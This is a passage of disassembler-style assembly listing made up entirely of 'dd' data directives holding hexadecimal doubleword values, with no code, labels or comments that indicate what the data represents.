		dd 2A73127Bh, 0C3273752h, 5F3E911Bh, 9438F1E4h,	3CE8716Ah
		dd 0EEC013B6h, 417A85A0h, 38D5F910h, 8C355BFCh,	0E529BC89h
		dd 7D234993h, 0BE07A2D0h, 67725E0Ah, 0FB418CA2h, 7145253Ah
		dd 44AD871Fh, 10E80BDCh, 0A368C831h, 8A5AAFE9h,	1FF88D24h
		dd 0C82DB148h, 305B1311h, 2593C5C5h, 0B2839A02h, 0D8502B3Eh
		dd 2F5CE910h, 0C9C15D2Eh, 316C9078h, 26E90D06h,	8746618Bh
		dd 41685351h, 7054F77Eh, 0C518F39Fh, 17E45D10h,	26F5894Ah
		dd 79CB4C5Bh, 60D00A18h, 2C665DCEh, 186030FFh, 0C7B2AAB8h
		dd 0E094806Ah, 0ED51133Eh, 0CE7DE035h, 0EB081321h, 27E20BF7h
		dd 31AB361Dh, 0DA91A450h, 0A74FE969h, 0F327403Ah, 8F73D8A5h
		dd 5B580174h, 1C338639h, 6807E73Ch, 82A7762h, 9DABCBDBh
		dd 0B543DB04h, 6CC4A6B5h, 4D0DE859h, 0BEC7200Bh, 0FB8D240h
		dd 7D4B63F8h, 9C10914Bh, 2F1D3BC6h, 0EE9D166Ch,	0E4F754C3h
		dd 0FA829D21h, 9DBA01CEh, 42433029h, 31AF4A4Ch,	0D6011199h
		dd 96864C3Ch, 0C50057E2h, 18120B05h, 92EB8F0Fh,	67E91679h
		dd 0C5132149h, 803A2C85h, 827D352Dh, 1CD5EA5Eh,	685F963Eh
		dd 9F9E9969h, 0CBA22623h, 4E212A72h, 865EB212h,	0E1664EDEh
		dd 0CB8104CDh, 0C0E860AAh, 0FEFBF340h, 7E5EFA2Ch, 2176E90Bh
		dd 8B353BDh, 9F510AEh, 11186857h, 5C820286h, 47678189h
		dd 65556621h, 0E9D7F0F9h, 500B7A5Eh, 81290001h,	3C11A4C7h
		dd 0D7BC6D97h, 2808EF28h, 27B8295Ah, 4AE4F622h,	2FFD21F0h
		dd 609612Dh, 93E91851h,	0EF68434h, 80C4FED4h, 9784F54Fh
		dd 1742A4D0h, 8B83DFD3h, 0DD840B5Fh, 0E7827BABh, 2180CF3Ah
		dd 88BBF480h, 0C3ECE17Dh, 0CB7B7770h, 295EB75h,	79309E08h
		dd 32A72D1Ah, 62974D0Ch, 62D81166h, 0E3E9746Fh,	839A5C59h
		dd 5EF2D00Ch, 1FF165Ch,	7879CF68h, 3526307Dh, 82878613h
		dd 0D31A68C1h, 9C0BBD05h, 0B551C303h, 0A9EB82F7h, 566782FAh
		dd 0A6F1FB3Bh, 0EAF44D33h, 322DA854h, 27B00764h, 1322ED7h
		dd 97942FAh, 12344008h,	0AA50500Bh, 76484EAAh, 8B72973Ch
		dd 28C27696h, 509074C8h, 4E19B151h, 64DBF9E9h, 0E602F320h
		dd 35742768h, 22274364h, 0C612DBh, 0F644C794h, 67D9FC72h
		dd 65574E33h, 837F9511h, 0F6F83527h, 6A276877h,	0D9DF9901h
		dd 0E6046339h, 0C146256Ch, 0C456C602h, 2D0429CCh, 79845782h
		dd 9C2D6686h, 21665816h, 8888179Eh, 62BB03B5h, 68113739h
		dd 0CE0ED34Eh, 2B89280Ch, 8B318570h, 0E6C14F48h, 61EDE9D5h
		dd 8E2A597h, 0FE01D062h, 26880FC8h, 0C0190B6Ah,	84103050h
		dd 0F61E57AEh, 2A8A0CD8h, 7A3C0C23h, 80A44C34h,	2DE9F1F7h
		dd 0BF81A632h, 3C6D4B41h, 73955CE6h, 1B26F87Ah,	0AF4AB73Ah
		dd 904A452Fh, 16B4D6E9h, 3318BD5Bh, 0E4ED0E9h, 0D10CC590h
		dd 51910436h, 0EC2B0F68h, 0E70893F8h, 0FA853E50h, 0EC3D7507h
		dd 0F700A41Dh, 17546BC5h, 0C0E14BC1h, 87EC9BFCh, 0CE319F13h
		dd 73EE3200h, 5E266E76h, 40CB89h, 5358C701h, 52FFDBBh
		dd 9EE93AB0h, 0C2B9F9h,	60A843AAh, 4FAB890Fh, 955521F7h
		dd 0D6100E16h, 48F4C43h, 5547E9FEh, 578BC9BCh, 2D3FCCD1h
		dd 8E6A2343h, 0C34F0E25h
		dd 0E0E39CEBh, 0EE9DA89h, 0FE616AF6h, 472C013Fh, 186ADFC4h
		dd 0F216DCC6h, 0E5987Ch, 1E1B1723h, 5503EBC1h, 829BD03h
		dd 0CD091AD2h, 1E34CC0h, 9AC07C2Eh, 48F87042h, 0C807F772h
		dd 0D40E7C27h, 3C0810DAh, 6AC1FF5Bh, 11DC6AF3h,	65109340h
		dd 0C34B715Dh, 0BE05DD0Eh, 5BDA01B8h, 1A335824h, 0B506311Bh
		dd 6101E799h, 0E4AFB3F5h, 18B5F91Ch, 4B54E9CFh,	53D5D2BEh
		dd 43270340h, 815E6500h, 8E1AF8F1h, 0CF8D9573h,	78842090h
		dd 0E7D4530h, 2CD22AF3h, 8B70AB30h, 0D8C8D928h,	33B350Eh
		dd 44CD1D40h, 455B8506h, 2D08741Ah, 0A3E0273Eh,	0C1A803E9h
		dd 0C59CF668h, 1DC69D92h, 3014B7B9h, 9A34F8D3h,	0E6D071C2h
		dd 0DC552015h, 67300FB0h, 0FDF195CAh, 61E02C2Eh, 0BF72405h
		dd 7C5A2A6Bh, 0C2095902h, 9A51E2D1h, 42BF8F36h,	530FBFE9h
		dd 6BEA678Bh, 0EE2804D1h, 845A7FB4h, 0E4CC5BDCh, 9AD27B5Ch
		dd 0DD185570h, 0FE7C0027h, 3D24B129h, 0F658E9E5h, 0C91B3F4Bh
		dd 0C563906Dh, 61B9E4E9h, 4096EF01h, 21475402h,	59AD7089h
		dd 1282C39h, 68ED0492h,	7752358Ah, 0C4CA8450h, 72C4F1ACh
		dd 0DAF6003Dh, 4068830Fh, 0EA6F806Dh, 53348B5Ah, 0B95E0974h
		dd 133EEB79h, 0EE21AB0Fh, 5B29Ah, 0D373C132h, 21E7014Ah
		dd 0E9080082h, 949D6ABDh, 9B9B9DC9h, 2FF9E69Ah,	62AC5644h
		dd 5EC3CF89h, 5FBAD883h, 1CB31F50h, 0E1172B26h,	29A45777h
		dd 0E7C15491h, 287F544h, 8A386122h, 0AD956693h,	7C4D24D5h
		dd 0BD690304h, 0BBF5A681h, 5430BFD9h, 0C82B5FD3h, 0E0E3C753h
		dd 4DFA70ACh, 13812165h, 0E3D78752h, 91D0E0E4h,	4C1DC6BEh
		dd 0F6024B50h, 4D963EFCh, 9DDDA961h, 20D6E923h,	5C1EF6E2h
		dd 18C88955h, 301AB190h, 0FCE3648h, 4948F1F3h, 83F78445h
		dd 59A777ACh, 71E66D48h, 5CAB4A01h, 31F8870Fh, 0CBCD2388h
		dd 274DDC31h, 5AF48A00h, 0FE9A4A95h, 0E9C178D9h, 10B229E1h
		dd 52242EF3h, 0CC585AC0h, 2DFE60B7h, 0A2B459E9h, 7C2AF741h
		dd 4341B1F7h, 0D574007Eh, 0F75A7828h, 5352DF19h, 0B5A5774Ch
		dd 70C09991h, 0C975FE10h, 804CE178h, 25B15887h,	0B0A24659h
		dd 48B2E6AFh, 0BC047B4Ch, 0A8D7E3E9h, 6F098203h, 8B9ED41Ch
		dd 48B11FA9h, 0E122E5Ch, 98F639A9h, 0DE595426h,	92110801h
		dd 1C605530h, 390A10CBh, 63650512h, 0EB0119CDh,	3AEF32D6h
		dd 5D031880h, 0FAE98FC2h, 2C2B25F9h, 0B0E01069h, 1B685F09h
		dd 0E8712DDAh, 0F4D54C95h, 0E7899745h, 3D1C6F19h, 0FEC9D72Fh
		dd 0C862607Bh, 59542E9h, 50C2ADE6h, 0C9265C38h,	0AE8815D1h
		dd 3BBA2C63h, 0C9B5A393h, 9003500Fh, 0C4B0950h,	5F073110h
		dd 2E8EBF80h, 0C1201753h, 0D4621CEEh, 2530FF37h, 3BB0410Ch
		dd 0F7297901h, 5FF9215Eh, 8B221C2Bh, 0BBE8CB91h, 56017F63h
		dd 3455055Ch, 63E4F8Bh,	0D53F6533h, 0E65AD630h,	5DE37FF4h
		dd 491D9A62h, 9D366C83h, 171B029Ch, 5ACE01h, 4F93C4F8h
		dd 830A5C93h, 0F80892AFh, 0C4DA2069h, 0C0277DD4h, 474D0F4Bh
		dd 8FB1574Ah, 0BC908BDCh, 59702C79h, 8000D6B5h,	0E305EEFh
		dd 0B2525BF9h, 9C1569Eh, 0C461CC26h, 5BC02905h,	128BD45Fh
		dd 0F2EAE673h, 0C0E45590h, 60927757h, 0B116792Bh, 3257A514h
		dd 0FAEC2EFDh, 0FA1602Dh, 0AD356F81h, 0CE71CA65h, 0C00127CBh
		dd 95F49422h, 6CC28793h, 50004ED4h, 483761B8h, 0D0F71E46h
		dd 0D03F005h, 0E9003B6Fh, 36354076h, 0F2BEE53h,	8D93AD2Dh
		dd 58C301C2h, 4B75DC1h,	1F884BC1h, 0E62D5A03h, 0D9C02FDEh
		dd 0BCD859EBh, 0EAABC006h, 3FFD555Bh, 6E596FF6h, 0FE247695h
		dd 6A4F3EFh, 0A043E525h, 88E302Ch, 5F74F74Dh, 14A7B52Ch
		dd 9F809922h, 4CC5C782h, 29F85558h, 317DB505h, 45AA144h
		dd 0D4E2C207h, 2FEEC7A7h, 4C6E08B3h, 74506804h,	0DC2DAB8Dh
		dd 5ECB2233h, 0FDF36A2Eh, 0ED1755A6h, 0D7879244h, 60ECCAD5h
		dd 0B2E4A6B3h, 9B8C5A26h, 76479855h, 0D683BC6h,	462ABB60h
		dd 889D5FFEh, 3C07C8h, 97F33BB9h, 0BFE901F2h, 3DEA7099h
		dd 24219236h, 4675854h,	40325254h, 22050516h, 5F76DF5Eh
		dd 0E90D9AA3h, 2CE73EB3h, 7E4E7965h, 0E12DF8C0h, 1653A5Ah
		dd 55CAB386h, 987D82EAh, 2942B40Fh, 8A81CC2h, 0AA15867h
		dd 0CEE96191h, 561B092Ah, 1EAAFE00h, 577D0820h,	5E78012Ch
		dd 281DB683h, 2AF9D7F0h, 0C3083B83h, 3432451h, 2C521FCAh
		dd 85EAB6D9h, 0ED835B50h, 6E760981h, 0EDF2252Ah, 201C20D3h
		dd 99677C7h, 0FE74B787h, 0E70A52B5h, 0B860FF60h, 0FFC78EEh
		dd 0DD8F77Fh, 3A183200h, 25CE8C1h, 1216055Ch, 3AB0D179h
		dd 58C60189h, 0E7E9F129h, 0FDD825FEh, 730AA5ADh, 0BC470879h
		dd 0BA528530h, 35C1E5Bh, 0B062650Ah, 0A516F9F9h, 2BE3045h
		dd 0BE502EA2h, 0AE085053h, 596B181Eh, 39960C52h, 0C6B48651h
		dd 2D015C56h, 38AD0B28h, 0A205C030h, 0C63E8C07h, 6D0700A3h
		dd 4B30BF7Bh, 4397F416h, 0B988FD2Ah, 96AE92C2h,	0B7A4EFB1h
		dd 1339BB03h, 0B211EA3Dh, 6DEF02AFh, 84030F0Ah,	31071EC3h
		dd 0E08775CAh, 589050DBh, 38D46816h, 0B900A1B2h, 286D7CF6h
		dd 0A19E0BE9h, 0F4E19B25h, 75F20B95h, 98C330C4h, 2850B9B8h
		dd 2CF3141Ch, 84BAE38Ah, 0C4CA0145h, 0D3084311h, 44E40381h
		dd 0A4EDE1E9h, 0E52AFD48h, 2EF37294h, 22655BDFh, 0C874880h
		dd 0C4E2412Dh, 5452B3DCh, 0D50147Bh, 2C10B948h,	7C011AB6h
		dd 5C6F214h, 584349E2h,	1A7FC25Fh, 6E187E8h, 181413Dh
		dd 0C854FA8Dh, 0A291CB31h, 268C4E63h, 675B4CD9h, 0C8C8DD12h
		dd 0B85327h, 812F933Bh,	0C4D16803h, 0C02A2BA7h,	6367EF48h
		dd 51FB5C5Ch, 5B073A97h, 0A7745055h, 2D59C6D0h,	91A16E4h
		dd 0E7CBA031h, 446A2041h, 62B23ABh, 4DAF6h, 0FE07B353h
		dd 80EBD0C3h, 0C05C1BE4h, 0E33C76B9h, 9E70FD5Bh, 0D0E0DA76h
		dd 0F08CE910h, 4ADCCC5Bh, 0C9243F5Fh, 9D18DBA6h, 5BD8F743h
		dd 81B494BAh, 6269516Bh, 0D6EE4808h, 6C1B68A9h,	0EAC3DD0h
		dd 0E122C9Eh, 530CDDD8h, 9895CC51h, 97985926h, 0EF81D85Bh
		dd 16909F86h, 4F37179Fh, 1A800C70h, 32E93966h, 0C7B740D9h
		dd 6DDF9F40h, 3177FB2Ch, 0F7F82158h, 0E9092E63h, 0A044FF79h
		dd 0AB65A098h, 0F0005210h, 14CE3803h, 2E61CC1h,	0CAADC81h
		dd 580C5935h, 619F0712h, 0C4E16906h, 4CBA0739h,	0B277106Bh
		dd 0B6A913F2h, 0ED0102F0h, 74C248A8h, 0C5E1FD01h, 505F0841h
		dd 55C0D683h, 0E98856EBh, 469706F0h, 0A759491Ch, 20AF0502h
		dd 36427BD6h, 0E865EC86h, 8001EF22h, 0E272FA6h,	85682A5Eh
		dd 0DF10D6D5h, 3A8A5E2Dh, 4BB0CB5Eh, 8B81F935h,	68CC48B4h
		dd 94C77BFh, 72E99747h,	45951350h, 0F0AE31C0h, 0E99F305Eh
		dd 6700864Fh, 0DC7C2BBFh, 0E7C11C2Dh, 6EFCB08h,	8D725780h
		dd 29066C68h, 5493E9F9h, 90B23230h, 225E69FAh, 4C3F9A60h
		dd 0B459019h, 540E6678h, 25692A60h, 0C841012Dh,	2DF024F9h
		dd 2A8F917Fh, 9903A71Fh, 0D4FFC8FEh, 2D32AD1Ah,	65763402h
		dd 829CDED3h, 0BE03AAEEh, 291AF1ECh, 582E65E9h,	18C29EBDh
		dd 5E612D1Eh, 4807F614h, 26DF30C9h, 2C7752BDh, 54310CBh
		dd 0E1A41659h, 4B4F7AD3h, 0A8E98429h, 545392D0h, 68189E5Bh
		dd 0BA684906h, 9BDD31E9h, 91EEB07Fh, 307914EAh,	5E0C41AEh
		dd 0F48AC13h, 6B0026Dh,	0F64E6798h, 804747B1h, 0D6F72D76h
		dd 0D462EDF1h, 7B7C542h
		dd 630CE9CCh, 146E0F0Dh, 9F445A07h, 0C03CB81Dh,	18FD62F6h
		dd 4FDD7FF7h, 5A0004Eh,	5B413D92h, 2D50ADB0h, 68155707h
		dd 782121BDh, 9A6AB404h, 50A45D4Bh, 0B36C1344h,	36E30457h
		dd 2FBB1F3Ah, 6621800Eh, 75CCF281h, 0D7893E3Bh,	0F9F310AAh
		dd 3F64FBDAh, 5018A2Fh,	28158C0Fh, 66512571h, 0F70DC481h
		dd 0E27CD5D0h, 0F4589873h, 655D0523h, 5F868A0Fh, 96F10183h
		dd 301EFF20h, 509E136Eh, 0A962973Ah, 0D8B4C7F4h, 4A4C2247h
		dd 28995582h, 225971D3h, 7D5B2CA8h, 0F045E942h,	2D5F0628h
		dd 16CA7E56h, 7FC0A076h, 0C90AF4EEh, 9F49BA36h,	541E628Ah
		dd 0A452639Ch, 28C9687Ch, 215A5867h, 2590E9F4h,	7D226E0Ah
		dd 0B4984359h, 17A8E644h, 0F50823CDh, 0BA6507ECh, 74E95D41h
		dd 8BF0F519h, 72555233h, 0FD5D45CAh, 0D58B255Eh, 9429A7B9h
		dd 12C5D3BFh, 688680D9h, 5FC540F7h, 1BBD2526h, 8085692Dh
		dd 0F3968331h, 402CC909h, 17687966h, 0E98E0302h, 45155A1Fh
		dd 80A01848h, 0E0C1E8D1h, 606C202h, 43F8FFE9h, 0EB0D17C0h
		dd 161E14Ah, 1E811505h,	70C50196h, 4DC1E25Dh, 4B17632Dh
		dd 9A785DF1h, 29DC02DFh, 706031F5h, 0E3251FD5h,	396526Dh
		dd 8B3A6AF1h, 8FCFD105h, 0AD182761h, 29E1F80Ah,	0F0F30275h
		dd 0C288FC1h, 0EE24B5A7h, 808B80F2h, 7E6F87Fh, 6872970Dh
		dd 0DB8FB209h, 401D2D54h, 0A6C8DC6h, 746A4CF9h,	6763C68Fh
		dd 0C05305Dh, 0E0C9FDD5h, 481A63D1h, 0E1D2D938h, 0D657F151h
		dd 71A8A08h, 0BDAC5ACEh, 40999985h, 8887B5D7h, 800059EEh
		dd 0D6F6A6CEh, 0B41E1D68h, 2CB742D0h, 285BE260h, 0C3CCF350h
		dd 3C686601h, 0F4FBE96Fh, 3B2FD573h, 0FEE35CE0h, 0E6C18582h
		dd 0D953E649h, 2368706Eh, 0A6837854h, 2926E594h, 0D3A850A7h
		dd 0F173128h, 773479A3h, 4232A75Eh, 6CBFF2D3h, 0B6301B59h
		dd 7D680209h, 27E7447Bh, 0F45B5954h, 0C304F113h, 0CD13E78Eh
		dd 0F2140CE1h, 8B92E925h, 968216D1h, 0B4D05873h, 0D40154CDh
		dd 2C8D1630h, 126FC86Fh, 2D4B8025h, 0A93D657Bh,	5E89459h
		dd 7795807h, 4CD95517h,	0CAB3D0D4h, 4103051Fh, 5DE90EE1h
		dd 0B2317FBBh, 0C981AB97h, 7C0126C3h, 0DB0C810Eh, 57DA4FCFh
		dd 2E363A70h, 12432A09h, 6E7109C7h, 0D3E6031Ah,	2B2ADE7Fh
		dd 0A0910F4Bh, 4D02E941h, 0DD41814Bh, 0D94A024Ah, 46D544B1h
		dd 0C780E9F1h, 0E4595476h, 0E5C00F33h, 14C5A405h, 0D3321CAAh
		dd 0A0B6A8D8h, 5535266h, 0B551E0B3h, 88B9EC8Ah,	0BCF33C28h
		dd 3ED4309h, 20CC5410h,	0FC3FE02h, 2B5CC188h, 17A483Fh
		dd 0E9E6B050h, 0BB724455h, 9269F32Fh, 0E828107Ah, 0A7704D2Ch
		dd 12109D4Bh, 2715251h,	0FE16B7A6h, 2C3B120h, 35681240h
		dd 0D1533745h, 0D257D6B9h, 87024A61h, 19B8F12Ah, 7CCB29D2h
		dd 1CD6F0Ch, 88C33AB4h,	7C12EE4Dh, 0B11A91D3h, 0F4535642h
		dd 76331BBh, 249C02Dh, 201FC25Ah, 0D4D88FE9h, 53505112h
		dd 0DBA66784h, 525BDF0Bh, 80897C51h, 0AC5C5C67h, 36B202CDh
		dd 0D07C0FB6h, 0EC02DA82h, 0BB08800Bh, 0BF587F67h, 0BD55EAA2h
		dd 6C290A83h, 305D08D1h, 4A93703Ah, 0CA822420h,	3C4B0772h
		dd 0C5D41BF2h, 61A9BFB2h, 2DE96560h, 4CD0095Ah,	76E74CFEh
		dd 1DEB03A0h, 139856Dh,	8CF10B5h, 254C5D2Ch, 90A27AF9h
		dd 19476813h, 14ACDE8Ch, 9D694C34h, 6C1A2101h, 34CFE976h
		dd 0C25880C4h, 5BCB13B4h, 0B4C9ADE8h, 6689E542h, 440F2EF0h
		dd 0C933CC68h, 0AC6A2423h, 801C2488h, 35C72B50h, 0DF84F5B2h
		dd 2C5AEFE0h, 1233DAF7h, 0E2C9E4F9h, 0C17A040Bh, 7551022Fh
		dd 7B3025Fh, 0D16A5CF4h, 290E8D01h, 0D9503130h,	9547BCE9h
		dd 96002A3Ah, 67280549h, 7E3394A0h, 0E9313F05h,	35C8C14Bh
		dd 149B1B68h, 0D47AE87Bh, 8355F190h, 0FBD53099h, 7950A3CBh
		dd 1A8B69FEh, 0FE17FE71h, 9EA72D52h, 57853648h,	9F11B853h
		dd 0F081DE1Fh, 0D8F75B5Eh, 4EE91B74h, 0B48D17AAh, 0CA410AEEh
		dd 0DB9363Bh, 30776812h, 8BE94331h, 0B30EF668h,	44CC0EBh
		dd 0BAFA0306h, 0F62A3761h, 0A3CB86D5h, 5FF2DAD2h, 0BBD9C009h
		dd 0DEAC7434h, 12C4D8C4h, 0E5A774E8h, 90CF94F6h, 38850F02h
		dd 1DF4E8A4h, 27712312h, 625984E0h, 9CE9675Ch, 69B6F8F0h
		dd 83DB495Ah, 0CE4815A7h, 0DB4FE952h, 0FC8AA817h, 0E62E0F12h
		dd 7968139Ah, 0BC78DAB3h, 92D1C999h, 0D26D5800h, 24DA0109h
		dd 8B2588E9h, 8B80E168h, 0F187590Eh, 0D02482B5h, 3CC8F1E0h
		dd 0A92C6012h, 0C5C10206h, 776CE8A1h, 8B51A889h, 1166BD03h
		dd 59BC8D32h, 96FEB24Fh, 0AB0250CDh, 2C2D004Eh,	22F59B0h
		dd 64318489h, 0BB0210FCh, 135418E3h, 31D98255h,	6183DEF9h
		dd 6C236568h, 0E95682D5h, 5A92A7A4h, 661B54F2h,	1CB52CE6h
		dd 2C1C3B39h, 4E80EA0h,	2E55EE99h, 0C22163DDh, 0EFF1412Ah
		dd 0F6D035FDh, 0BC246DFEh, 1C64AD00h, 2EAD11Dh,	3F18F281h
		dd 2062082Eh, 0A29F1950h, 3D54FD2h, 92F7E681h, 0A9763793h
		dd 1CC92E8Dh, 0F602492Ch, 10035A1Dh, 5FD26129h,	3859CA88h
		dd 0A4E7E90Bh, 5CB58FFFh, 180ECB3Ah, 0D387F851h, 4153F05Ah
		dd 0AE04DBD4h, 10FC68A5h, 98C24FC6h, 0F1409F8Ch, 454AAFE9h
		dd 0ED8B7064h, 0E9165B52h, 5D9FF016h, 0A534EAC9h, 0AE13C127h
		dd 0B18BE706h, 0AA94FE20h, 0F03B758Ch, 800813AAh, 7FFB9905h
		dd 71F585C1h, 0C6E1D102h, 0D454CC86h, 6CC62926h, 76F3BE2Ah
		dd 0F98F4AC6h, 0BDCA304Ah, 16F21809h, 100E6F98h, 0C947D878h
		dd 0C1D648EDh, 190458E5h, 0BF42E904h, 0C318EF7Fh, 9A8530h
		dd 0EA296F1Bh, 5AD0215Dh, 73B72297h, 2A80F11Ah,	8987A4F5h
		dd 541853A4h, 32A7009Bh, 713DE81h, 0C06BB80Eh, 0F727EE1h
		dd 0E90B1776h, 15C7CF9h, 73338217h, 0B106CC39h,	246AB25Bh
		dd 61697609h, 0F28B5A83h, 525DC02Bh, 0EE8066B6h, 0F63F8C73h
		dd 5D13196Ch, 844DEB47h, 846408DBh, 0E9045AFDh,	0CDA4AEE8h
		dd 765B12B8h, 0FEE90149h, 20643F30h, 28F8D52Dh,	0D7293501h
		dd 0E0E9515Ah, 28BE142Fh, 0B5D31C27h, 5A111A2Fh, 0A2702081h
		dd 7D53BD00h, 0C1455B62h, 0CE0651EDh, 306B802Ah, 0FA4B49D8h
		dd 56F406E1h, 0EE012216h, 32E911C4h, 458523D4h,	332D4BFDh
		dd 0B77691E2h, 41927852h, 132E6387h, 72D1D768h,	5968C7BDh
		dd 9A14EBF2h, 6F25A01Eh, 0BA18603Ah, 0CADB82EBh, 1292EE7Ch
		dd 35EF1CFCh, 784EEADh,	0CD87B15Bh, 0EDAC30F9h,	13514DECh
		dd 903FE0EEh, 48B27C4Ch, 5D0840C7h, 36B2884Bh, 75C85810h
		dd 0AA09530h, 94DA315Fh, 82E950DBh, 0C7D62597h,	0C5ED2EE5h
		dd 86813435h, 4A895AD1h, 61D65830h, 0D7C39D26h,	0CB666332h
		dd 9C50A14Ch, 201984B4h, 18EB6886h, 1A62CC96h, 88025C52h
		dd 0BB01EDF8h, 66E46C0Bh, 0A7AC29E9h, 0DEFA449h, 156DD207h
		dd 0F1D9B1D0h, 29B56427h, 608C2C94h, 0F8012FDh,	192C84F2h
		dd 56D8B249h, 7CB434F8h, 4E186858h, 2610A73Ah, 0D18B6C8Dh
		dd 9DD004EFh, 812ED3B1h, 2FE8941h, 0C0B96ACEh, 243B1DF1h
		dd 1954041h, 0F201DFFDh, 38183129h, 0A1C71522h,	0F4B24F8Dh
		dd 622F0193h, 2C490B50h, 61BDA1E5h, 59871DA0h, 0B53F7066h
		dd 59E88883h, 4AD8A04h,	952642CBh, 0B05987Fh, 1BEBC948h
		dd 0B2F32332h, 0BCED6664h, 704508E2h, 5DEF3106h, 9298C1E3h
		dd 4111A204h, 2540283h,	25E87B59h, 0CF7E246Ah, 68F0D00Bh
		dd 82C20347h, 3F5C6380h
		dd 0F1EB7C66h, 398B8A2Dh, 98BE750Ah, 35630E06h,	0DB310F48h
		dd 0C4895515h, 54B11963h, 0E46E3D5Dh, 4051FF89h, 8B3F15E7h
		dd 5DC2608Dh, 0B06D5549h, 3CD9E5F8h, 0D889013Ah, 200E18FFh
		dd 5E122DC4h, 2EED0C48h, 0D35D5B07h, 7EF5610Ah,	845ACD6Fh
		dd 5412E91Ch, 17C1E5C8h, 914D0375h, 563ED2h, 96B6890Fh
		dd 0AAD03C37h, 0BF8FB58Ch, 458EF81h, 28BBE84Ch,	79E3E94h
		dd 0EA263509h, 5D30C184h, 0A2F2B157h, 0A50F5B5Ch, 0C5024DA9h
		dd 561C5Ah, 8725DE51h, 6F291359h, 0BC4EB684h, 0E053CA29h
		dd 566F0927h, 195667C9h, 0E985685Bh, 28D935C2h,	5001672Dh
		dd 8E67C6B8h, 1D3B7002h, 606858A8h, 0B000ECBBh,	4BB35314h
		dd 0DCDE2FE9h, 0F8209FCCh, 0F5BD05FEh, 0C2B3D8D6h, 0CD085212h
		dd 5C274803h, 0DB0C0402h, 0EF6ED062h, 0E859545h, 0B5B195ACh
		dd 0C3198011h, 61BB3840h, 9505B889h, 1253F289h,	18148E09h
		dd 133668E1h, 640E1E57h, 56D2C097h, 4D18FC7Ch, 29B574E9h
		dd 595778F0h, 0A24C2EC6h, 6D5B1202h, 0C40F8907h, 12BCE383h
		dd 0B42B692h, 515B0388h, 99E9418Fh, 0C537929Dh,	394B0E12h
		dd 42F73B8h, 8D0EEA68h,	0F9F343BBh, 4017F4A1h, 8A0F12D1h
		dd 0B2251100h, 559B413h, 3824137Ah, 0FF7A0D17h,	22963465h
		dd 0D3313B4Bh, 283F2D9Dh, 75A2282h, 0D6436598h,	9506A3ADh
		dd 6239D358h, 124AF566h, 5BF2C2A1h, 0FB82955Ch,	0C25F0E2Ah
		dd 685BFC10h, 0FFA5250Ch, 0A0B65278h, 563D35B4h, 0CCB5F2EEh
		dd 0E52D2096h, 26FEF67Eh, 5F6F5E64h, 40EF29BBh,	5D9C7873h
		dd 5F40AC98h, 0B0EB7829h, 215B2DC8h, 0BD022AA9h, 1B5D3906h
		dd 0DEF7CAD3h, 15B225ACh, 53C06F5Ch, 79196852h,	1C07632Ch
		dd 0F4B1DF2h, 25E924C8h, 78C41F9Fh, 649F5EF0h, 7C5D00CEh
		dd 8D0F0CD3h, 0E9800DCCh, 4C01B5BCh, 0E041D1F7h, 0A1DE5990h
		dd 6482A76Fh, 810F0538h, 3DE1F1BDh, 878CDF43h, 0B7596FA5h
		dd 0E044844h, 21ED7A4Eh, 0F025964Bh, 0AB8E1329h, 0F110701Ah
		dd 9E8049E2h, 0F2FC0BE9h, 0CA89C51Dh, 0BA03CD3h, 203EB02Ch
		dd 0EF84B8EAh, 5DC05164h, 0F596BF00h, 0A6B4B643h, 831AC02Fh
		dd 0ED6CC0C5h, 1D28619Ch, 2540E916h, 8D6D4E9h, 4912C72Fh
		dd 0BAEF5F08h, 9E8525Fh, 1A303BDCh, 0B980E165h,	6411ED3h
		dd 5C5F8948h, 7DF6D6CEh, 5E164261h, 803FEA29h, 2B11B803h
		dd 0AB6F1FB0h, 4E97FD35h, 0F0876C84h, 5BCBB921h, 0F3C829D8h
		dd 0ADDF2C8Fh, 3593D3F8h, 3B57CD2Ch, 17943A15h,	3F0D4E9h
		dd 0E0B40043h, 0B753A6B1h, 6812661Eh, 48E82290h, 0EF09EB8Eh
		dd 0C1101A0Bh, 8070B652h, 5A70F076h, 0A2CD83Ch,	0B236D3E9h
		dd 76126D80h, 1F97BD31h, 0CB4AF475h, 0CCA2A53Bh, 0EB6361CAh
		dd 7EBC0E0h, 0E9CBFE04h, 0BDC83520h, 4B6B1965h,	205B0C33h
		dd 29051567h, 0BD6E9F3h, 0A3274EFDh, 0FD76EE8Bh, 23D76A8Bh
		dd 5ADCB389h, 0D0DD8C0Ah, 81FF962h, 0E494F69Bh,	0F7CD8101h
		dd 0A674BBD3h, 102C9935h, 26319002h, 0E4E9C020h, 0B176505Fh
		dd 0E66A4BE0h, 25EF58ABh, 2F6CE61Ah, 214ECC7Dh,	185A6871h
		dd 0DD4BDC8Fh, 102A794Dh, 973BEF7h, 6E17280Ch, 0D8CE8C00h
		dd 2124A6CCh, 530D0BF5h, 0C13F3F5Bh, 2FF67735h,	0ED58B48Ah
		dd 6534F97Eh, 1D76FA59h, 2D2CF028h, 686188D9h, 73630CFDh
		dd 8012B102h, 0F47B7DC9h, 2B9EF2C9h, 2443EC48h,	0E8132D84h
		dd 0B2525902h, 84E2C08Ah, 0CAA9779Eh, 2331ED03h, 0FDD96771h
		dd 0C617819Ah, 6ADB07FEh, 13D7E6D8h, 73E337Ch, 651BA83Dh
		dd 0FED8004Fh, 0E9451223h, 3BF2912Dh, 48A5D9F3h, 0FAD5616Ah
		dd 0C2010199h, 0C55E736Dh, 0B23DAF2Dh, 0FDC0452Bh, 53FF3044h
		dd 1F6D788h, 5870BEBAh,	0FC49C378h, 11562D4Dh, 146B5ED9h
		dd 0EC5CF2A5h, 0EF19645Ah, 7C040235h, 5FEC20E2h, 47440BD6h
		dd 0D0D3D5B2h, 8AE90EB0h, 6F86B6A5h, 8827AA25h,	8409CB98h
		dd 9761358h, 0EB900081h, 0B1D98960h, 1CF069BCh,	0F51BD70Ah
		dd 0F602D266h, 615F1FDEh, 0D3E5D86h, 6AF66710h,	3AD9F410h
		dd 29E29268h, 0B32A4E0Ch, 33DF07BEh, 0B2463882h, 0F3D43A13h
		dd 61454082h, 5147E010h, 2A82D5Fh, 35001C70h, 11E60BDEh
		dd 0B156B5E9h, 20C2654h, 0A0BF8F6Eh, 51C7F941h,	3E5B66E6h
		dd 4EE9F228h, 342D970Fh, 1E30BB98h, 7D2A38A4h, 0BC4A2033h
		dd 48B65C58h, 0CC172783h, 50C29E0Bh, 0D883EB07h, 3D4002E1h
		dd 86AE615Ch, 1E519402h, 81E85925h, 215F1468h, 51B96234h
		dd 0E7D1517Bh, 9CBCB2Eh, 0C41EC368h, 5F5425ACh,	1370E46h
